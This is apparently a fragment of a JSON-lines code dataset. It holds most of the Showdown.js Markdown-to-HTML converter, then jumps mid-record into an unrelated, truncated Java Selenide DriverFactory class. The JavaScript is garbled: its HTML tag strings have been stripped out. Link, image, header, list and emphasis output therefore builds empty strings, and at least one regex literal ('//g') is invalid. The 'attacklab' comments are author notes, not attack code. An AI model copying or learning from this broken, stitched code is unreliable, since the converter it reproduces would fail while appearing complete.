\\n\");\n\n\treturn text;\n}\n\nvar _EscapeSpecialCharsWithinTagAttributes = function(text) {\n//\n// Within tags -- meaning between < and > -- encode [\\ ` * _] so they\n// don't conflict with their use in Markdown for code, italics and strong.\n//\n\n\t// Build a regex to find HTML tags and comments. See Friedl's \n\t// \"Mastering Regular Expressions\", 2nd Ed., pp. 200-201.\n\tvar regex = /(<[a-z\\/!$](\"[^\"]*\"|'[^']*'|[^'\">])*>|)/gi;\n\n\ttext = text.replace(regex, function(wholeMatch) {\n\t\tvar tag = wholeMatch.replace(/(.)<\\/?code>(?=.)/g,\"$1`\");\n\t\ttag = escapeCharacters(tag,\"\\\\`*_\");\n\t\treturn tag;\n\t});\n\n\treturn text;\n}\n\nvar _DoAnchors = function(text) {\n//\n// Turn Markdown link shortcuts into XHTML tags.\n//\n\t//\n\t// First, handle reference-style links: [link text] [id]\n\t//\n\n\t/*\n\t\ttext = text.replace(/\n\t\t(\t\t\t\t\t\t\t// wrap whole match in $1\n\t\t\t\\[\n\t\t\t(\n\t\t\t\t(?:\n\t\t\t\t\t\\[[^\\]]*\\]\t\t// allow brackets nested one level\n\t\t\t\t\t|\n\t\t\t\t\t[^\\[]\t\t\t// or anything else\n\t\t\t\t)*\n\t\t\t)\n\t\t\t\\]\n\n\t\t\t[ ]?\t\t\t\t\t// one optional space\n\t\t\t(?:\\n[ ]*)?\t\t\t\t// one optional newline followed by spaces\n\n\t\t\t\\[\n\t\t\t(.*?)\t\t\t\t\t// id = $3\n\t\t\t\\]\n\t\t)()()()()\t\t\t\t\t// pad remaining backreferences\n\t\t/g,_DoAnchors_callback);\n\t*/\n\ttext = text.replace(/(\\[((?:\\[[^\\]]*\\]|[^\\[\\]])*)\\][ ]?(?:\\n[ ]*)?\\[(.*?)\\])()()()()/g,writeAnchorTag);\n\n\t//\n\t// Next, inline-style links: [link text](url \"optional title\")\n\t//\n\n\t/*\n\t\ttext = text.replace(/\n\t\t\t(\t\t\t\t\t\t// wrap whole match in $1\n\t\t\t\t\\[\n\t\t\t\t(\n\t\t\t\t\t(?:\n\t\t\t\t\t\t\\[[^\\]]*\\]\t// allow brackets nested one level\n\t\t\t\t\t|\n\t\t\t\t\t[^\\[\\]]\t\t\t// or anything else\n\t\t\t\t)\n\t\t\t)\n\t\t\t\\]\n\t\t\t\\(\t\t\t\t\t\t// literal paren\n\t\t\t[ \\t]*\n\t\t\t()\t\t\t\t\t\t// no id, so leave $3 empty\n\t\t\t?\t\t\t\t// href = $4\n\t\t\t[ \\t]*\n\t\t\t(\t\t\t\t\t\t// $5\n\t\t\t\t(['\"])\t\t\t\t// quote char = $6\n\t\t\t\t(.*?)\t\t\t\t// Title = $7\n\t\t\t\t\\6\t\t\t\t\t// matching quote\n\t\t\t\t[ \\t]*\t\t\t\t// ignore any spaces/tabs between closing quote and )\n\t\t\t)?\t\t\t\t\t\t// title is optional\n\t\t\t\\)\n\t\t)\n\t\t/g,writeAnchorTag);\n\t*/\n\ttext = text.replace(/(\\[((?:\\[[^\\]]*\\]|[^\\[\\]])*)\\]\\([ \\t]*()?[ \\t]*((['\"])(.*?)\\6[ \\t]*)?\\))/g,writeAnchorTag);\n\n\t//\n\t// Last, handle reference-style shortcuts: [link text]\n\t// These must come last in case you've also got [link test][1]\n\t// or [link test](/foo)\n\t//\n\n\t/*\n\t\ttext = text.replace(/\n\t\t(\t\t \t\t\t\t\t// wrap whole match in $1\n\t\t\t\\[\n\t\t\t([^\\[\\]]+)\t\t\t\t// link text = $2; can't contain '[' or ']'\n\t\t\t\\]\n\t\t)()()()()()\t\t\t\t\t// pad rest of backreferences\n\t\t/g, writeAnchorTag);\n\t*/\n\ttext = text.replace(/(\\[([^\\[\\]]+)\\])()()()()()/g, writeAnchorTag);\n\n\treturn text;\n}\n\nvar writeAnchorTag = function(wholeMatch,m1,m2,m3,m4,m5,m6,m7) {\n\tif (m7 == undefined) m7 = \"\";\n\tvar whole_match = m1;\n\tvar link_text = m2;\n\tvar link_id\t = m3.toLowerCase();\n\tvar url\t\t= m4;\n\tvar title\t= m7;\n\t\n\tif (url == \"\") {\n\t\tif (link_id == \"\") {\n\t\t\t// lower-case and turn embedded newlines into spaces\n\t\t\tlink_id = link_text.toLowerCase().replace(/ ?\\n/g,\" \");\n\t\t}\n\t\turl = \"#\"+link_id;\n\t\t\n\t\tif (g_urls[link_id] != undefined) {\n\t\t\turl = g_urls[link_id];\n\t\t\tif (g_titles[link_id] != undefined) {\n\t\t\t\ttitle = g_titles[link_id];\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif (whole_match.search(/\\(\\s*\\)$/m)>-1) {\n\t\t\t\t// Special case for explicit empty url\n\t\t\t\turl = \"\";\n\t\t\t} else {\n\t\t\t\treturn whole_match;\n\t\t\t}\n\t\t}\n\t}\t\n\t\n\turl = escapeCharacters(url,\"*_\");\n\tvar result = \"\" + link_text + \"\";\n\t\n\treturn result;\n}\n\n\nvar _DoImages = function(text) {\n//\n// Turn Markdown image shortcuts into tags.\n//\n\n\t//\n\t// First, handle reference-style labeled images: ![alt text][id]\n\t//\n\n\t/*\n\t\ttext = text.replace(/\n\t\t(\t\t\t\t\t\t// wrap whole match in $1\n\t\t\t!\\[\n\t\t\t(.*?)\t\t\t\t// alt text = $2\n\t\t\t\\]\n\n\t\t\t[ ]?\t\t\t\t// one optional space\n\t\t\t(?:\\n[ ]*)?\t\t\t// one optional newline followed by spaces\n\n\t\t\t\\[\n\t\t\t(.*?)\t\t\t\t// id = $3\n\t\t\t\\]\n\t\t)()()()()\t\t\t\t// pad rest of backreferences\n\t\t/g,writeImageTag);\n\t*/\n\ttext = text.replace(/(!\\[(.*?)\\][ ]?(?:\\n[ ]*)?\\[(.*?)\\])()()()()/g,writeImageTag);\n\n\t//\n\t// Next, handle inline images: ![alt text](url \"optional title\")\n\t// Don't forget: encode * and _\n\n\t/*\n\t\ttext = text.replace(/\n\t\t(\t\t\t\t\t\t// wrap whole match in $1\n\t\t\t!\\[\n\t\t\t(.*?)\t\t\t\t// alt text = $2\n\t\t\t\\]\n\t\t\t\\s?\t\t\t\t\t// One optional whitespace character\n\t\t\t\\(\t\t\t\t\t// literal paren\n\t\t\t[ \\t]*\n\t\t\t()\t\t\t\t\t// no id, so leave $3 empty\n\t\t\t?\t\t\t// src url = $4\n\t\t\t[ \\t]*\n\t\t\t(\t\t\t\t\t// $5\n\t\t\t\t(['\"])\t\t\t// quote char = $6\n\t\t\t\t(.*?)\t\t\t// title = $7\n\t\t\t\t\\6\t\t\t\t// matching quote\n\t\t\t\t[ \\t]*\n\t\t\t)?\t\t\t\t\t// title is optional\n\t\t\\)\n\t\t)\n\t\t/g,writeImageTag);\n\t*/\n\ttext = text.replace(/(!\\[(.*?)\\]\\s?\\([ \\t]*()?[ \\t]*((['\"])(.*?)\\6[ \\t]*)?\\))/g,writeImageTag);\n\n\treturn text;\n}\n\nvar writeImageTag = function(wholeMatch,m1,m2,m3,m4,m5,m6,m7) {\n\tvar whole_match = m1;\n\tvar alt_text = m2;\n\tvar link_id\t = m3.toLowerCase();\n\tvar url\t\t= m4;\n\tvar title\t= m7;\n\n\tif (!title) title = \"\";\n\t\n\tif (url == \"\") {\n\t\tif (link_id == \"\") {\n\t\t\t// lower-case and turn embedded newlines into spaces\n\t\t\tlink_id = alt_text.toLowerCase().replace(/ ?\\n/g,\" \");\n\t\t}\n\t\turl = \"#\"+link_id;\n\t\t\n\t\tif (g_urls[link_id] != undefined) {\n\t\t\turl = g_urls[link_id];\n\t\t\tif (g_titles[link_id] != undefined) {\n\t\t\t\ttitle = g_titles[link_id];\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\treturn whole_match;\n\t\t}\n\t}\t\n\t\n\talt_text = alt_text.replace(/\"/g,\""\");\n\turl = escapeCharacters(url,\"*_\");\n\tvar result = \"\\\"\"\";\n\t\n\treturn result;\n}\n\n\nvar _DoHeaders = function(text) {\n\n\t// Setext-style headers:\n\t//\tHeader 1\n\t//\t========\n\t// \n\t//\tHeader 2\n\t//\t--------\n\t//\n\ttext = text.replace(/^(.+)[ \\t]*\\n=+[ \\t]*\\n+/gm,\n\t\tfunction(wholeMatch,m1){return hashBlock(\"

\" + _RunSpanGamut(m1) + \"

\");});\n\n\ttext = text.replace(/^(.+)[ \\t]*\\n-+[ \\t]*\\n+/gm,\n\t\tfunction(matchFound,m1){return hashBlock(\"

\" + _RunSpanGamut(m1) + \"

\");});\n\n\t// atx-style headers:\n\t// # Header 1\n\t// ## Header 2\n\t// ## Header 2 with closing hashes ##\n\t// ...\n\t// ###### Header 6\n\t//\n\n\t/*\n\t\ttext = text.replace(/\n\t\t\t^(\\#{1,6})\t\t\t\t// $1 = string of #'s\n\t\t\t[ \\t]*\n\t\t\t(.+?)\t\t\t\t\t// $2 = Header text\n\t\t\t[ \\t]*\n\t\t\t\\#*\t\t\t\t\t\t// optional closing #'s (not counted)\n\t\t\t\\n+\n\t\t/gm, function() {...});\n\t*/\n\n\ttext = text.replace(/^(\\#{1,6})[ \\t]*(.+?)[ \\t]*\\#*\\n+/gm,\n\t\tfunction(wholeMatch,m1,m2) {\n\t\t\tvar h_level = m1.length;\n\t\t\treturn hashBlock(\"\" + _RunSpanGamut(m2) + \"\");\n\t\t});\n\n\treturn text;\n}\n\n// This declaration keeps Dojo compressor from outputting garbage:\nvar _ProcessListItems;\n\nvar _DoLists = function(text) {\n//\n// Form HTML ordered (numbered) and unordered (bulleted) lists.\n//\n\n\t// attacklab: add sentinel to hack around khtml/safari bug:\n\t// http://bugs.webkit.org/show_bug.cgi?id=11231\n\ttext += \"~0\";\n\n\t// Re-usable pattern to match any entirel ul or ol list:\n\n\t/*\n\t\tvar whole_list = /\n\t\t(\t\t\t\t\t\t\t\t\t// $1 = whole list\n\t\t\t(\t\t\t\t\t\t\t\t// $2\n\t\t\t\t[ ]{0,3}\t\t\t\t\t// attacklab: g_tab_width - 1\n\t\t\t\t([*+-]|\\d+[.])\t\t\t\t// $3 = first list item marker\n\t\t\t\t[ \\t]+\n\t\t\t)\n\t\t\t[^\\r]+?\n\t\t\t(\t\t\t\t\t\t\t\t// $4\n\t\t\t\t~0\t\t\t\t\t\t\t// sentinel for workaround; should be $\n\t\t\t|\n\t\t\t\t\\n{2,}\n\t\t\t\t(?=\\S)\n\t\t\t\t(?!\t\t\t\t\t\t\t// Negative lookahead for another list item marker\n\t\t\t\t\t[ \\t]*\n\t\t\t\t\t(?:[*+-]|\\d+[.])[ \\t]+\n\t\t\t\t)\n\t\t\t)\n\t\t)/g\n\t*/\n\tvar whole_list = /^(([ ]{0,3}([*+-]|\\d+[.])[ \\t]+)[^\\r]+?(~0|\\n{2,}(?=\\S)(?![ \\t]*(?:[*+-]|\\d+[.])[ \\t]+)))/gm;\n\n\tif (g_list_level) {\n\t\ttext = text.replace(whole_list,function(wholeMatch,m1,m2) {\n\t\t\tvar list = m1;\n\t\t\tvar list_type = (m2.search(/[*+-]/g)>-1) ? \"ul\" : \"ol\";\n\n\t\t\t// Turn double returns into triple returns, so that we can make a\n\t\t\t// paragraph for the last item in a list, if necessary:\n\t\t\tlist = list.replace(/\\n{2,}/g,\"\\n\\n\\n\");;\n\t\t\tvar result = _ProcessListItems(list);\n\t\n\t\t\t// Trim any trailing whitespace, to put the closing ``\n\t\t\t// up on the preceding line, to get it past the current stupid\n\t\t\t// HTML block parser. This is a hack to work around the terrible\n\t\t\t// hack that is the HTML block parser.\n\t\t\tresult = result.replace(/\\s+$/,\"\");\n\t\t\tresult = \"<\"+list_type+\">\" + result + \"\\n\";\n\t\t\treturn result;\n\t\t});\n\t} else {\n\t\twhole_list = /(\\n\\n|^\\n?)(([ ]{0,3}([*+-]|\\d+[.])[ \\t]+)[^\\r]+?(~0|\\n{2,}(?=\\S)(?![ \\t]*(?:[*+-]|\\d+[.])[ \\t]+)))/g;\n\t\ttext = text.replace(whole_list,function(wholeMatch,m1,m2,m3) {\n\t\t\tvar runup = m1;\n\t\t\tvar list = m2;\n\n\t\t\tvar list_type = (m3.search(/[*+-]/g)>-1) ? \"ul\" : \"ol\";\n\t\t\t// Turn double returns into triple returns, so that we can make a\n\t\t\t// paragraph for the last item in a list, if necessary:\n\t\t\tvar list = list.replace(/\\n{2,}/g,\"\\n\\n\\n\");;\n\t\t\tvar result = _ProcessListItems(list);\n\t\t\tresult = runup + \"<\"+list_type+\">\\n\" + result + \"\\n\";\t\n\t\t\treturn result;\n\t\t});\n\t}\n\n\t// attacklab: strip sentinel\n\ttext = text.replace(/~0/,\"\");\n\n\treturn text;\n}\n\n_ProcessListItems = function(list_str) {\n//\n// Process the contents of a single ordered or unordered list, splitting it\n// into individual list items.\n//\n\t// The $g_list_level global keeps track of when we're inside a list.\n\t// Each time we enter a list, we increment it; when we leave a list,\n\t// we decrement. If it's zero, we're not in a list anymore.\n\t//\n\t// We do this because when we're not inside a list, we want to treat\n\t// something like this:\n\t//\n\t// I recommend upgrading to version\n\t// 8. Oops, now this line is treated\n\t// as a sub-list.\n\t//\n\t// As a single paragraph, despite the fact that the second line starts\n\t// with a digit-period-space sequence.\n\t//\n\t// Whereas when we're inside a list (or sub-list), that line will be\n\t// treated as the start of a sub-list. What a kludge, huh? This is\n\t// an aspect of Markdown's syntax that's hard to parse perfectly\n\t// without resorting to mind-reading. Perhaps the solution is to\n\t// change the syntax rules such that sub-lists must start with a\n\t// starting cardinal number; e.g. \"1.\" or \"a.\".\n\n\tg_list_level++;\n\n\t// trim trailing blank lines:\n\tlist_str = list_str.replace(/\\n{2,}$/,\"\\n\");\n\n\t// attacklab: add sentinel to emulate \\z\n\tlist_str += \"~0\";\n\n\t/*\n\t\tlist_str = list_str.replace(/\n\t\t\t(\\n)?\t\t\t\t\t\t\t// leading line = $1\n\t\t\t(^[ \\t]*)\t\t\t\t\t\t// leading whitespace = $2\n\t\t\t([*+-]|\\d+[.]) [ \\t]+\t\t\t// list marker = $3\n\t\t\t([^\\r]+?\t\t\t\t\t\t// list item text = $4\n\t\t\t(\\n{1,2}))\n\t\t\t(?= \\n* (~0 | \\2 ([*+-]|\\d+[.]) [ \\t]+))\n\t\t/gm, function(){...});\n\t*/\n\tlist_str = list_str.replace(/(\\n)?(^[ \\t]*)([*+-]|\\d+[.])[ \\t]+([^\\r]+?(\\n{1,2}))(?=\\n*(~0|\\2([*+-]|\\d+[.])[ \\t]+))/gm,\n\t\tfunction(wholeMatch,m1,m2,m3,m4){\n\t\t\tvar item = m4;\n\t\t\tvar leading_line = m1;\n\t\t\tvar leading_space = m2;\n\n\t\t\tif (leading_line || (item.search(/\\n{2,}/)>-1)) {\n\t\t\t\titem = _RunBlockGamut(_Outdent(item));\n\t\t\t}\n\t\t\telse {\n\t\t\t\t// Recursion for sub-lists:\n\t\t\t\titem = _DoLists(_Outdent(item));\n\t\t\t\titem = item.replace(/\\n$/,\"\"); // chomp(item)\n\t\t\t\titem = _RunSpanGamut(item);\n\t\t\t}\n\n\t\t\treturn \"
  • \" + item + \"
    • \\n\";\n\t\t}\n\t);\n\n\t// attacklab: strip sentinel\n\tlist_str = list_str.replace(/~0/g,\"\");\n\n\tg_list_level--;\n\treturn list_str;\n}\n\n\nvar _DoCodeBlocks = function(text) {\n//\n// Process Markdown `
    ` blocks.\n//  \n\n\t/*\n\t\ttext = text.replace(text,\n\t\t\t/(?:\\n\\n|^)\n\t\t\t(\t\t\t\t\t\t\t\t// $1 = the code block -- one or more lines, starting with a space/tab\n\t\t\t\t(?:\n\t\t\t\t\t(?:[ ]{4}|\\t)\t\t\t// Lines must start with a tab or a tab-width of spaces - attacklab: g_tab_width\n\t\t\t\t\t.*\\n+\n\t\t\t\t)+\n\t\t\t)\n\t\t\t(\\n*[ ]{0,3}[^ \\t\\n]|(?=~0))\t// attacklab: g_tab_width\n\t\t/g,function(){...});\n\t*/\n\n\t// attacklab: sentinel workarounds for lack of \\A and \\Z, safari\\khtml bug\n\ttext += \"~0\";\n\t\n\ttext = text.replace(/(?:\\n\\n|^)((?:(?:[ ]{4}|\\t).*\\n+)+)(\\n*[ ]{0,3}[^ \\t\\n]|(?=~0))/g,\n\t\tfunction(wholeMatch,m1,m2) {\n\t\t\tvar codeblock = m1;\n\t\t\tvar nextChar = m2;\n\t\t\n\t\t\tcodeblock = _EncodeCode( _Outdent(codeblock));\n\t\t\tcodeblock = _Detab(codeblock);\n\t\t\tcodeblock = codeblock.replace(/^\\n+/g,\"\"); // trim leading newlines\n\t\t\tcodeblock = codeblock.replace(/\\n+$/g,\"\"); // trim trailing whitespace\n\n\t\t\tcodeblock = \"
    \" + codeblock + \"\\n
    \";\n\n\t\t\treturn hashBlock(codeblock) + nextChar;\n\t\t}\n\t);\n\n\t// attacklab: strip sentinel\n\ttext = text.replace(/~0/,\"\");\n\n\treturn text;\n}\n\nvar hashBlock = function(text) {\n\ttext = text.replace(/(^\\n+|\\n+$)/g,\"\");\n\treturn \"\\n\\n~K\" + (g_html_blocks.push(text)-1) + \"K\\n\\n\";\n}\n\n\nvar _DoCodeSpans = function(text) {\n//\n//   *  Backtick quotes are used for  spans.\n// \n//   *  You can use multiple backticks as the delimiters if you want to\n//\t include literal backticks in the code span. So, this input:\n//\t \n//\t\t Just type ``foo `bar` baz`` at the prompt.\n//\t \n//\t   Will translate to:\n//\t \n//\t\t 
    Just type foo `bar` baz at the prompt.
    \n//\t \n//\tThere's no arbitrary limit to the number of backticks you\n//\tcan use as delimters. If you need three consecutive backticks\n//\tin your code, use four for delimiters, etc.\n//\n//  *  You can use spaces to get literal backticks at the edges:\n//\t \n//\t\t ... type `` `bar` `` ...\n//\t \n//\t   Turns to:\n//\t \n//\t\t ... type `bar` ...\n//\n\n\t/*\n\t\ttext = text.replace(/\n\t\t\t(^|[^\\\\])\t\t\t\t\t// Character before opening ` can't be a backslash\n\t\t\t(`+)\t\t\t\t\t\t// $2 = Opening run of `\n\t\t\t(\t\t\t\t\t\t\t// $3 = The code block\n\t\t\t\t[^\\r]*?\n\t\t\t\t[^`]\t\t\t\t\t// attacklab: work around lack of lookbehind\n\t\t\t)\n\t\t\t\\2\t\t\t\t\t\t\t// Matching closer\n\t\t\t(?!`)\n\t\t/gm, function(){...});\n\t*/\n\n\ttext = text.replace(/(^|[^\\\\])(`+)([^\\r]*?[^`])\\2(?!`)/gm,\n\t\tfunction(wholeMatch,m1,m2,m3,m4) {\n\t\t\tvar c = m3;\n\t\t\tc = c.replace(/^([ \\t]*)/g,\"\");\t// leading whitespace\n\t\t\tc = c.replace(/[ \\t]*$/g,\"\");\t// trailing whitespace\n\t\t\tc = _EncodeCode(c);\n\t\t\treturn m1+\"\"+c+\"\";\n\t\t});\n\n\treturn text;\n}\n\n\nvar _EncodeCode = function(text) {\n//\n// Encode/escape certain characters inside Markdown code runs.\n// The point is that in code, these characters are literals,\n// and lose their special Markdown meanings.\n//\n\t// Encode all ampersands; HTML entities are not\n\t// entities within a Markdown code span.\n\ttext = text.replace(/&/g,\"&\");\n\n\t// Do the angle bracket song and dance:\n\ttext = text.replace(//g,\">\");\n\n\t// Now, escape characters that are magic in Markdown:\n\ttext = escapeCharacters(text,\"\\*_{}[]\\\\\",false);\n\n// jj the line above breaks this:\n//---\n\n//* Item\n\n//   1. Subitem\n\n//            special char: *\n//---\n\n\treturn text;\n}\n\n\nvar _DoItalicsAndBold = function(text) {\n\n\t//  must go first:\n\ttext = text.replace(/(\\*\\*|__)(?=\\S)([^\\r]*?\\S[\\*_]*)\\1/g,\n\t\t\"$2\");\n\n\ttext = text.replace(/(\\*|_)(?=\\S)([^\\r]*?\\S)\\1/g,\n\t\t\"$2\");\n\n\treturn text;\n}\n\n\nvar _DoBlockQuotes = function(text) {\n\n\t/*\n\t\ttext = text.replace(/\n\t\t(\t\t\t\t\t\t\t\t// Wrap whole match in $1\n\t\t\t(\n\t\t\t\t^[ \\t]*>[ \\t]?\t\t\t// '>' at the start of a line\n\t\t\t\t.+\\n\t\t\t\t\t// rest of the first line\n\t\t\t\t(.+\\n)*\t\t\t\t\t// subsequent consecutive lines\n\t\t\t\t\\n*\t\t\t\t\t\t// blanks\n\t\t\t)+\n\t\t)\n\t\t/gm, function(){...});\n\t*/\n\n\ttext = text.replace(/((^[ \\t]*>[ \\t]?.+\\n(.+\\n)*\\n*)+)/gm,\n\t\tfunction(wholeMatch,m1) {\n\t\t\tvar bq = m1;\n\n\t\t\t// attacklab: hack around Konqueror 3.5.4 bug:\n\t\t\t// \"----------bug\".replace(/^-/g,\"\") == \"bug\"\n\n\t\t\tbq = bq.replace(/^[ \\t]*>[ \\t]?/gm,\"~0\");\t// trim one level of quoting\n\n\t\t\t// attacklab: clean up hack\n\t\t\tbq = bq.replace(/~0/g,\"\");\n\n\t\t\tbq = bq.replace(/^[ \\t]+$/gm,\"\");\t\t// trim whitespace-only lines\n\t\t\tbq = _RunBlockGamut(bq);\t\t\t\t// recurse\n\t\t\t\n\t\t\tbq = bq.replace(/(^|\\n)/g,\"$1  \");\n\t\t\t// These leading spaces screw with 
     content, so we need to fix that:\n\t\t\tbq = bq.replace(\n\t\t\t\t\t/(\\s*
    [^\\r]+?<\\/pre>)/gm,\n\t\t\t\tfunction(wholeMatch,m1) {\n\t\t\t\t\tvar pre = m1;\n\t\t\t\t\t// attacklab: hack around Konqueror 3.5.4 bug:\n\t\t\t\t\tpre = pre.replace(/^  /mg,\"~0\");\n\t\t\t\t\tpre = pre.replace(/~0/g,\"\");\n\t\t\t\t\treturn pre;\n\t\t\t\t});\n\t\t\t\n\t\t\treturn hashBlock(\"
    \\n\" + bq + \"\\n
    \");\n\t\t});\n\treturn text;\n}\n\n\nvar _FormParagraphs = function(text) {\n//\n//  Params:\n//    $text - string to process with html 
     tags\n//\n\n\t// Strip leading and trailing lines:\n\ttext = text.replace(/^\\n+/g,\"\");\n\ttext = text.replace(/\\n+$/g,\"\");\n\n\tvar grafs = text.split(/\\n{2,}/g);\n\tvar grafsOut = new Array();\n\n\t//\n\t// Wrap 
     tags.\n\t//\n\tvar end = grafs.length;\n\tfor (var i=0; i= 0) {\n\t\t\tgrafsOut.push(str);\n\t\t}\n\t\telse if (str.search(/\\S/) >= 0) {\n\t\t\tstr = _RunSpanGamut(str);\n\t\t\tstr = str.replace(/^([ \\t]*)/g,\"
    \");\n\t\t\tstr += \"
    \"\n\t\t\tgrafsOut.push(str);\n\t\t}\n\n\t}\n\n\t//\n\t// Unhashify HTML blocks\n\t//\n\tend = grafsOut.length;\n\tfor (var i=0; i= 0) {\n\t\t\tvar blockText = g_html_blocks[RegExp.$1];\n\t\t\tblockText = blockText.replace(/\\$/g,\"$$$$\"); // Escape any dollar signs\n\t\t\tgrafsOut[i] = grafsOut[i].replace(/~K\\d+K/,blockText);\n\t\t}\n\t}\n\n\treturn grafsOut.join(\"\\n\\n\");\n}\n\n\nvar _EncodeAmpsAndAngles = function(text) {\n// Smart processing for ampersands and angle brackets that need to be encoded.\n\t\n\t// Ampersand-encoding based entirely on Nat Irons's Amputator MT plugin:\n\t//   http://bumppo.net/projects/amputator/\n\ttext = text.replace(/&(?!#?[xX]?(?:[0-9a-fA-F]+|\\w+);)/g,\"&\");\n\t\n\t// Encode naked <'s\n\ttext = text.replace(/<(?![a-z\\/?\\$!])/gi,\"<\");\n\t\n\treturn text;\n}\n\n\nvar _EncodeBackslashEscapes = function(text) {\n//\n//   Parameter:  String.\n//   Returns:\tThe string, with after processing the following backslash\n//\t\t\t   escape sequences.\n//\n\n\t// attacklab: The polite way to do this is with the new\n\t// escapeCharacters() function:\n\t//\n\t// \ttext = escapeCharacters(text,\"\\\\\",true);\n\t// \ttext = escapeCharacters(text,\"`*_{}[]()>#+-.!\",true);\n\t//\n\t// ...but we're sidestepping its use of the (slow) RegExp constructor\n\t// as an optimization for Firefox.  This function gets called a LOT.\n\n\ttext = text.replace(/\\\\(\\\\)/g,escapeCharacters_callback);\n\ttext = text.replace(/\\\\([`*_{}\\[\\]()>#+-.!])/g,escapeCharacters_callback);\n\treturn text;\n}\n\n\nvar _DoAutoLinks = function(text) {\n\n\ttext = text.replace(/<((https?|ftp|dict):[^'\">\\s]+)>/gi,\"$1\");\n\n\t// Email addresses: \n\n\t/*\n\t\ttext = text.replace(/\n\t\t\t<\n\t\t\t(?:mailto:)?\n\t\t\t(\n\t\t\t\t[-.\\w]+\n\t\t\t\t\\@\n\t\t\t\t[-a-z0-9]+(\\.[-a-z0-9]+)*\\.[a-z]+\n\t\t\t)\n\t\t\t>\n\t\t/gi, _DoAutoLinks_callback());\n\t*/\n\ttext = text.replace(/<(?:mailto:)?([-.\\w]+\\@[-a-z0-9]+(\\.[-a-z0-9]+)*\\.[a-z]+)>/gi,\n\t\tfunction(wholeMatch,m1) {\n\t\t\treturn _EncodeEmailAddress( _UnescapeSpecialChars(m1) );\n\t\t}\n\t);\n\n\treturn text;\n}\n\n\nvar _EncodeEmailAddress = function(addr) {\n//\n//  Input: an email address, e.g. \"foo@example.com\"\n//\n//  Output: the email address as a mailto link, with each character\n//\tof the address encoded as either a decimal or hex entity, in\n//\tthe hopes of foiling most address harvesting spam bots. E.g.:\n//\n//\tfoo\n//\t   @example.com\n//\n//  Based on a filter by Matthew Wickline, posted to the BBEdit-Talk\n//  mailing list: \n//\n\n\t// attacklab: why can't javascript speak hex?\n\tfunction char2hex(ch) {\n\t\tvar hexDigits = '0123456789ABCDEF';\n\t\tvar dec = ch.charCodeAt(0);\n\t\treturn(hexDigits.charAt(dec>>4) + hexDigits.charAt(dec&15));\n\t}\n\n\tvar encode = [\n\t\tfunction(ch){return \"&#\"+ch.charCodeAt(0)+\";\";},\n\t\tfunction(ch){return \"&#x\"+char2hex(ch)+\";\";},\n\t\tfunction(ch){return ch;}\n\t];\n\n\taddr = \"mailto:\" + addr;\n\n\taddr = addr.replace(/./g, function(ch) {\n\t\tif (ch == \"@\") {\n\t\t   \t// this *must* be encoded. I insist.\n\t\t\tch = encode[Math.floor(Math.random()*2)](ch);\n\t\t} else if (ch !=\":\") {\n\t\t\t// leave ':' alone (to spot mailto: later)\n\t\t\tvar r = Math.random();\n\t\t\t// roughly 10% raw, 45% hex, 45% dec\n\t\t\tch =  (\n\t\t\t\t\tr > .9  ?\tencode[2](ch)   :\n\t\t\t\t\tr > .45 ?\tencode[1](ch)   :\n\t\t\t\t\t\t\t\tencode[0](ch)\n\t\t\t\t);\n\t\t}\n\t\treturn ch;\n\t});\n\n\taddr = \"\" + addr + \"\";\n\taddr = addr.replace(/\">.+:/g,\"\\\">\"); // strip the mailto: from the visible part\n\n\treturn addr;\n}\n\n\nvar _UnescapeSpecialChars = function(text) {\n//\n// Swap back in all the special characters we've hidden.\n//\n\ttext = text.replace(/~E(\\d+)E/g,\n\t\tfunction(wholeMatch,m1) {\n\t\t\tvar charCodeToReplace = parseInt(m1);\n\t\t\treturn String.fromCharCode(charCodeToReplace);\n\t\t}\n\t);\n\treturn text;\n}\n\n\nvar _Outdent = function(text) {\n//\n// Remove one level of line-leading tabs or spaces\n//\n\n\t// attacklab: hack around Konqueror 3.5.4 bug:\n\t// \"----------bug\".replace(/^-/g,\"\") == \"bug\"\n\n\ttext = text.replace(/^(\\t|[ ]{1,4})/gm,\"~0\"); // attacklab: g_tab_width\n\n\t// attacklab: clean up hack\n\ttext = text.replace(/~0/g,\"\")\n\n\treturn text;\n}\n\nvar _Detab = function(text) {\n// attacklab: Detab's completely rewritten for speed.\n// In perl we could fix it by anchoring the regexp with \\G.\n// In javascript we're less fortunate.\n\n\t// expand first n-1 tabs\n\ttext = text.replace(/\\t(?=\\t)/g,\"    \"); // attacklab: g_tab_width\n\n\t// replace the nth with two sentinels\n\ttext = text.replace(/\\t/g,\"~A~B\");\n\n\t// use the sentinel to anchor our regex so it doesn't explode\n\ttext = text.replace(/~B(.+?)~A/g,\n\t\tfunction(wholeMatch,m1,m2) {\n\t\t\tvar leadingText = m1;\n\t\t\tvar numSpaces = 4 - leadingText.length % 4;  // attacklab: g_tab_width\n\n\t\t\t// there *must* be a better way to do this:\n\t\t\tfor (var i=0; i\n\n  \n    \n    \n      \n    \n    \n    \n  \n"}
+{"text": "package com.codeborne.selenide.webdriver;\n\nimport com.codeborne.selenide.Browser;\nimport com.codeborne.selenide.Config;\nimport com.codeborne.selenide.WebDriverProvider;\nimport org.openqa.selenium.Capabilities;\nimport org.openqa.selenium.MutableCapabilities;\nimport org.openqa.selenium.Proxy;\nimport org.openqa.selenium.WebDriver;\nimport org.openqa.selenium.remote.DesiredCapabilities;\n\nimport javax.annotation.CheckReturnValue;\nimport javax.annotation.Nonnull;\nimport javax.annotation.Nullable;\nimport javax.annotation.ParametersAreNonnullByDefault;\nimport java.io.File;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationTargetException;\n\n@ParametersAreNonnullByDefault\npublic class DefaultDriverFactory extends AbstractDriverFactory {\n  @Override\n  public void setupWebdriverBinary() {\n  }\n\n  @Override\n  @CheckReturnValue\n  @Nonnull\n  public WebDriver create(Config config, Browser browser, @Nullable Proxy proxy, File browserDownloadsFolder) {\n    return createInstanceOf(config.browser(), config, browser, proxy, browserDownloadsFolder);\n  }\n\n  @CheckReturnValue\n  @Nonnull\n  private WebDriver createInstanceOf(String className, Config config, Browser browser,\n                                     @Nullable Proxy proxy, File browserDownloadsFolder) {\n    try {\n      Capabilities capabilities = createCapabilities(config, browser, proxy, browserDownloadsFolder);\n\n      Class clazz = Class.forName(className);\n      if (WebDriverProvider.class.isAssignableFrom(clazz)) {\n        return createInstanceOf(WebDriverProvider.class, clazz).createDriver(new DesiredCapabilities(capabilities));\n      }\n      else if (DriverFactory.class.isAssignableFrom(clazz)) {\n        DriverFactory factory = createInstanceOf(DriverFactory.class, 